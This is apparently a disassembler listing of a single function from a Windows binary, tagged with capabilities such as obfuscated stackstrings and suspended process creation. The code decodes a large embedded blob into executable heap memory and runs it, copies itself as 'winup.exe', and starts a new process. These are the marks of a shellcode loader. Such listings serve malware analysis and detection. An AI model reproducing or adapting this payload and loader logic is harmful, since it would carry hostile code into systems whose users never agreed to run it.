Function at 0x1400016f0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create process suspended

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x418]
sub rsp, 0x510
mov qword [rbp + 0x350], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov rdi, rdx
cmp ecx, 2
jne 0x140002168
xor ebx, ebx
mov rcx, qword [rdx + 8]
lea rdx, [0x140017394]
nop
movzx eax, byte [rcx + rbx]
inc rbx
cmp al, byte [rdx + rbx - 1]
jne 0x140002310
cmp rbx, 4
jne 0x140001740
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov r8d, 0x800
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov dword [rsp + 0x50], 0x3ea6f5
mov dword [rsp + 0x54], 0x5f33eedd
mov dword [rsp + 0x58], 0xc2da2da1
mov dword [rsp + 0x5c], 0x33b4055b
mov dword [rsp + 0x60], 0x5798dc8b
mov dword [rsp + 0x64], 0x8a2ea308
mov dword [rsp + 0x68], 0x3bfd37c
mov dword [rsp + 0x6c], 0xd63a63cf
mov dword [rsp + 0x70], 0xf50c8f61
mov dword [rsp + 0x74], 0xea414a6a
mov dword [rsp + 0x78], 0xfb78a70d
mov dword [rsp + 0x7c], 0xf7a98f44
mov dword [rbp - 0x80], 0x464c9f4b
mov dword [rbp - 0x7c], 0x96cf72b6
mov dword [rbp - 0x78], 0x35834440
mov dword [rbp - 0x74], 0xe2d42112
mov dword [rbp - 0x70], 0x42059994
mov dword [rbp - 0x6c], 0x273dacf3
mov dword [rbp - 0x68], 0xec23d97b
mov dword [rbp - 0x64], 0x92569471
mov dword [rbp - 0x60], 0xc1f10603
mov dword [rbp - 0x5c], 0x89fbd88d
mov dword [rbp - 0x58], 0xe86bfe30
mov dword [rbp - 0x54], 0xf99d2305
mov dword [rbp - 0x50], 0x4ce5baf2
mov dword [rbp - 0x4c], 0xca9ef865
mov dword [rbp - 0x48], 0xc4d47ce6
mov dword [rbp - 0x44], 0xd58188f0
mov dword [rbp - 0x40], 0xe4e128df
mov dword [rbp - 0x3c], 0x6d657cdf
mov dword [rbp - 0x38], 0x42cb20d0
mov dword [rbp - 0x34], 0x7e515e62
mov dword [rbp - 0x30], 0xb86e9cc5
mov dword [rbp - 0x2c], 0xf6914c89
mov dword [rbp - 0x28], 0x2f76d0a7
mov dword [rbp - 0x24], 0xf9ffceae
mov dword [rbp - 0x20], 0x468c65a7
mov dword [rbp - 0x1c], 0xb76888c2
mov dword [rbp - 0x18], 0xe4a339ab
mov dword [rbp - 0x14], 0x77affbbf
mov dword [rbp - 0x10], 0xe1ab8ad7
mov dword [rbp - 0xc], 0xe1e85423
mov dword [rbp - 8], 0xc56e62b4
mov dword [rbp - 4], 0x50edcaca
mov dword [rbp], 0x81d605e7
mov dword [rbp + 4], 0x7d92c79c
mov dword [rbp + 8], 0xb39df592
mov dword [rbp + 0xc], 0x5468e2ca
mov dword [rbp + 0x10], 0xc09d5261
mov dword [rbp + 0x14], 0xbe0af41b
mov dword [rbp + 0x18], 0x50e89c18
mov dword [rbp + 0x1c], 0x28019f2f
mov dword [rbp + 0x20], 0x90158d8
mov dword [rbp + 0x24], 0xaf6c63a1
mov dword [rbp + 0x28], 0x3592ad80
mov dword [rbp + 0x2c], 0x14d976c2
mov dword [rbp + 0x30], 0x7fa72bec
mov dword [rbp + 0x34], 0xc1ced409
mov dword [rbp + 0x38], 0xba390bb2
mov dword [rbp + 0x3c], 0x4fca0157
mov dword [rbp + 0x40], 0x333098ed
mov dword [rbp + 0x44], 0x892f4a7b
mov dword [rbp + 0x48], 0x5b6d6d21
mov dword [rbp + 0x4c], 0x5853e73a
mov dword [rbp + 0x50], 0x7b610c2
mov dword [rbp + 0x54], 0x66df2f3
mov dword [rbp + 0x58], 0x299a7ac4
mov dword [rbp + 0x5c], 0xba8f9a0a
mov dword [rbp + 0x60], 0x4d576ea2
mov dword [rbp + 0x64], 0xe8e81108
mov dword [rbp + 0x68], 0x72e62385
mov dword [rbp + 0x6c], 0x7db83f25
mov dword [rbp + 0x70], 0x694aaab3
mov dword [rbp + 0x74], 0x81ee6694
mov dword [rbp + 0x78], 0xe09f957e
mov dword [rbp + 0x7c], 0x77c4331b
mov dword [rbp + 0x80], 0x799cb020
mov dword [rbp + 0x84], 0x1ee40106
mov dword [rbp + 0x88], 0xb742d415
mov dword [rbp + 0x8c], 0xff0bc5b1
mov dword [rbp + 0x90], 0x35cbed31
mov dword [rbp + 0x94], 0x50ba61fb
mov dword [rbp + 0x98], 0xe00dc9a9
mov dword [rbp + 0x9c], 0xbb56e3a0
mov dword [rbp + 0xa0], 0x95241443
mov dword [rbp + 0xa4], 0x96681ee5
mov dword [rbp + 0xa8], 0xb6d0a561
mov dword [rbp + 0xac], 0xb5f1b6c4
mov dword [rbp + 0xb0], 0x4ebd977b
mov dword [rbp + 0xb4], 0x67bd99db
mov dword [rbp + 0xb8], 0xd968aaf7
mov dword [rbp + 0xbc], 0x8cf37c9
mov dword [rbp + 0xc0], 0xc3b24c6c
mov dword [rbp + 0xc4], 0xeaf50d1c
mov dword [rbp + 0xc8], 0x6b573a71
mov dword [rbp + 0xcc], 0xa75c4013
mov dword [rbp + 0xd0], 0x3aea6994
mov dword [rbp + 0xd4], 0x282a485e
mov dword [rbp + 0xd8], 0xcf9c3b2f
mov dword [rbp + 0xdc], 0x4a7c8a53
mov dword [rbp + 0xe0], 0xdb708d8a
mov dword [rbp + 0xe4], 0xff651c3d
mov dword [rbp + 0xe8], 0x905411f5
mov dword [rbp + 0xec], 0xd4f44aa9
mov dword [rbp + 0xf0], 0xf9ca8d64
mov dword [rbp + 0xf4], 0x55892656
mov dword [rbp + 0xf8], 0x5328c249
mov dword [rbp + 0xfc], 0xcda665e
mov dword [rbp + 0x100], 0x99f8d843
mov dword [rbp + 0x104], 0x84ae2846
mov dword [rbp + 0x108], 0xd93c350f
mov dword [rbp + 0x10c], 0xf96ff080
mov dword [rbp + 0x110], 0x150184d9
mov dword [rbp + 0x114], 0xb875631
mov dword [rbp + 0x118], 0x5ba10bd3
mov dword [rbp + 0x11c], 0x1fa18f3e
mov dword [rbp + 0x120], 0xa72232b6
mov dword [rbp + 0x124], 0x7064499d
mov dword [rbp + 0x128], 0x554798a8
mov dword [rbp + 0x12c], 0x2ea79a9a
mov dword [rbp + 0x130], 0xd6cc3956
mov dword [rbp + 0x134], 0x7861e95f
mov dword [rbp + 0x138], 0xeeac80e
mov dword [rbp + 0x13c], 0x2e05b178
mov dword [rbp + 0x140], 0x39e9950
mov dword [rbp + 0x144], 0xcd15fae
mov dword [rbp + 0x148], 0x9b58c598
mov dword [rbp + 0x14c], 0x2def7997
mov dword [rbp + 0x150], 0x13dd3936
mov dword [rbp + 0x154], 0xe48916a2
mov dword [rbp + 0x158], 0xb3791681
mov dword [rbp + 0x15c], 0xd08d6279
mov dword [rbp + 0x160], 0xfc6ce4b7
mov dword [rbp + 0x164], 0xc18307db
mov dword [rbp + 0x168], 0x7cc54220
mov dword [rbp + 0x16c], 0x5fef51fa
mov dword [rbp + 0x170], 0x6249c591
mov dword [rbp + 0x174], 0xe613f953
mov dword [rbp + 0x178], 0xbd949e7
mov dword [rbp + 0x17c], 0xa8937004
mov dword [rbp + 0x180], 0x6505d85c
mov dword [rbp + 0x184], 0xb8b9fe94
mov dword [rbp + 0x188], 0x8dd6188f
mov dword [rbp + 0x18c], 0xe66b7e39
mov dword [rbp + 0x190], 0xc8ec73d1
mov dword [rbp + 0x194], 0x456c416f
mov dword [rbp + 0x198], 0x503db452
mov dword [rbp + 0x19c], 0x6eb518d7
mov dword [rbp + 0x1a0], 0x2a5b7df1
mov dword [rbp + 0x1a4], 0x440e3b95
mov dword [rbp + 0x1a8], 0x1e088afc
mov dword [rbp + 0x1ac], 0x983f876c
mov dword [rbp + 0x1b0], 0x5a04580c
mov dword [rbp + 0x1b4], 0xd36b4e93
mov dword [rbp + 0x1b8], 0xaace372f
mov dword [rbp + 0x1bc], 0x7c49f8d1
mov dword [rbp + 0x1c0], 0xf473bccf
mov dword [rbp + 0x1c4], 0x1c42a6c2
mov dword [rbp + 0x1c8], 0x149db993
mov dword [rbp + 0x1cc], 0x6fc33151
mov dword [rbp + 0x1d0], 0x54f0e895
mov dword [rbp + 0x1d4], 0xa4313f12
mov dword [rbp + 0x1d8], 0x9cf7ac24
mov dword [rbp + 0x1dc], 0x59372e6a
mov dword [rbp + 0x1e0], 0x38e4bc74
mov dword [rbp + 0x1e4], 0x57e7e46e
mov dword [rbp + 0x1e8], 0xf0d4ba1e
mov dword [rbp + 0x1ec], 0xa88d83f7
mov dword [rbp + 0x1f0], 0xa26c809f
mov dword [rbp + 0x1f4], 0x58731496
mov dword [rbp + 0x1f8], 0xd856ef38
mov dword [rbp + 0x1fc], 0x27716e67
mov dword [rbp + 0x200], 0xe8372420
mov dword [rbp + 0x204], 0xc7b698f1
mov dword [rbp + 0x208], 0xfccf7e5c
mov dword [rbp + 0x20c], 0xe66760a2
mov dword [rbp + 0x210], 0x4eccb4e9
mov dword [rbp + 0x214], 0x45790a1e
mov dword [rbp + 0x218], 0xcc1800f9
mov dword [rbp + 0x21c], 0xeb423676
mov dword [rbp + 0x220], 0x4bdba5
mov dword [rbp + 0x224], 0x2f9b251d
mov dword [rbp + 0x228], 0xe5a9a392
mov dword [rbp + 0x22c], 0xf48c5419
mov dword [rbp + 0x230], 0x718c14b5
mov dword [rbp + 0x234], 0x2e3ad4e8
mov dword [rbp + 0x238], 0x8db6577f
mov dword [rbp + 0x23c], 0x8fb19c73
mov dword [rbp + 0x240], 0xcf0a4
mov dword [rbp + 0x244], 0xcc490575
mov dword [rbp + 0x248], 0xa90b1bbd
mov dword [rbp + 0x24c], 0xfebf039c
mov dword [rbp + 0x250], 0xd9945908
mov dword [rbp + 0x254], 0x6ea64478
mov dword [rbp + 0x258], 0x2afc8ab9
mov dword [rbp + 0x25c], 0x796308
mov dword [rbp + 0x260], 0x6bbf1951
mov dword [rbp + 0x264], 0xe9145e2b
mov dword [rbp + 0x268], 0x1e8b2b7
mov dword [rbp + 0x26c], 0xd767b14
mov dword [rbp + 0x270], 0xc53cad3e
mov dword [rbp + 0x274], 0x1887329b
mov dword [rbp + 0x278], 0xe9bd5881
mov dword [rbp + 0x27c], 0xfe66f036
mov dword [rbp + 0x280], 0xebeed699
mov dword [rbp + 0x284], 0xa9c879b
mov dword [rbp + 0x288], 0x145a5668
mov dword [rbp + 0x28c], 0x6c4b355
mov dword [rbp + 0x290], 0xf1b8e6af
mov dword [rbp + 0x294], 0x7a4ff78a
mov dword [rbp + 0x298], 0xb91033ab
mov dword [rbp + 0x29c], 0x173def06
mov dword [rbp + 0x2a0], 0xf5ae694
mov dword [rbp + 0x2a4], 0x7886684f
mov dword [rbp + 0x2a8], 0x83b13557
mov dword [rbp + 0x2ac], 0x53d263c3
mov dword [rbp + 0x2b0], 0x2e8c689f
mov dword [rbp + 0x2b4], 0x30802aae
mov dword [rbp + 0x2b8], 0x360514fe
mov dword [rbp + 0x2bc], 0xe862a9a7
mov dword [rbp + 0x2c0], 0x7cd04040
mov dword [rbp + 0x2c4], 0x1265e7a9
mov dword [rbp + 0x2c8], 0xdaa47a06
mov dword [rbp + 0x2cc], 0x1ae452be
mov dword [rbp + 0x2d0], 0x13dab3f3
mov dword [rbp + 0x2d4], 0xa7816cb1
mov dword [rbp + 0x2d8], 0x33e8d792
mov dword [rbp + 0x2dc], 0x690359c
mov dword [rbp + 0x2e0], 0x56fc5556
mov dword [rbp + 0x2e4], 0xfee529ce
mov dword [rbp + 0x2e8], 0x168698c4
mov dword [rbp + 0x2ec], 0x105d0d41
mov dword [rbp + 0x2f0], 0x6948162c
mov dword [rbp + 0x2f4], 0x73fd3eb2
mov dword [rbp + 0x2f8], 0xbc11c25d
mov dword [rbp + 0x2fc], 0x2a438931
mov dword [rbp + 0x300], 0x1e31e255
mov dword [rbp + 0x304], 0x4f021906
mov dword [rbp + 0x308], 0x4871b20f
mov dword [rbp + 0x30c], 0x990cb1af
mov dword [rbp + 0x310], 0x6601229b
mov dword [rbp + 0x314], 0x90a1856f
mov dword [rbp + 0x318], 0x20a42c69
mov dword [rbp + 0x31c], 0x9739e90d
mov dword [rbp + 0x320], 0x7dec5690
mov dword [rbp + 0x324], 0xe4ec5f1c
mov dword [rbp + 0x328], 0xbeee587a
mov dword [rbp + 0x32c], 0xed65b932
mov dword [rbp + 0x330], 0x3778c0f1
mov dword [rbp + 0x334], 0x6f37612a
mov dword [rbp + 0x338], 0xf812fd60
mov dword [rbp + 0x33c], 0xd470e4a3
mov dword [rbp + 0x340], 0x9c7f606a
mov dword [rbp + 0x344], 0x44886c3f
mov dword [rbp + 0x348], 0xb5d746e8
mov rcx, rax
lea rdx, [rsp + 0x50]
lea eax, [rbx + 3]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x1400020b0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
lea rbx, [rdi + 0x80]
mov r8, rdi
mov rcx, rbx
call section..text
call rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002310
lea rcx, [rbp + 0x370]
call fcn.140001170
nop
mov r8d, 0xa
lea rdx, str.winup.exe
lea rcx, [rbp + 0x370]
call fcn.1400026d0
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0x10
cmovae rdx, qword [rbp + 0x370]
xor r8d, r8d
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1400022b4
xor ebx, ebx
mov dword [rbp + 0x390], ebx
xor edx, edx
lea r8d, [rbx + 0x60]
lea rcx, [rbp + 0x398]
call fcn.140005910
mov qword [rbp + 0x358], rbx
xor eax, eax
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rax
lea r8d, [rbx + 4]
lea rdx, str._xxx
lea rcx, [rbp + 0x370]
call fcn.1400026d0
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0x10
cmovae rdx, qword [rbp + 0x370]
lea rax, [rbp + 0x358]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x390]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400022b4
mov rax, qword [rbp + 0x388]
cmp rax, 0x10
jb 0x140002310
inc rax
mov rcx, qword [rbp + 0x370]
cmp rax, 0x1000
jb 0x14000230b
test cl, 0x1f
je 0x14000228a
call fcn.140006b94
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140002299
call fcn.140006b94
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400022a8
call fcn.140006b94
int3
cmp rcx, 0x27
jbe 0x140002308
call fcn.140006b94
int3
mov rax, qword [rbp + 0x388]
cmp rax, 0x10
jb 0x140002310
inc rax
mov rcx, qword [rbp + 0x370]
cmp rax, 0x1000
jb 0x14000230b
test cl, 0x1f
je 0x1400022de
call fcn.140006b94
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400022ed
call fcn.140006b94
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400022fc
call fcn.140006b94
int3
cmp rcx, 0x27
jbe 0x140002308
call fcn.140006b94
int3
mov rcx, rax
call fcn.140002db0
xor eax, eax
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140002d50
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret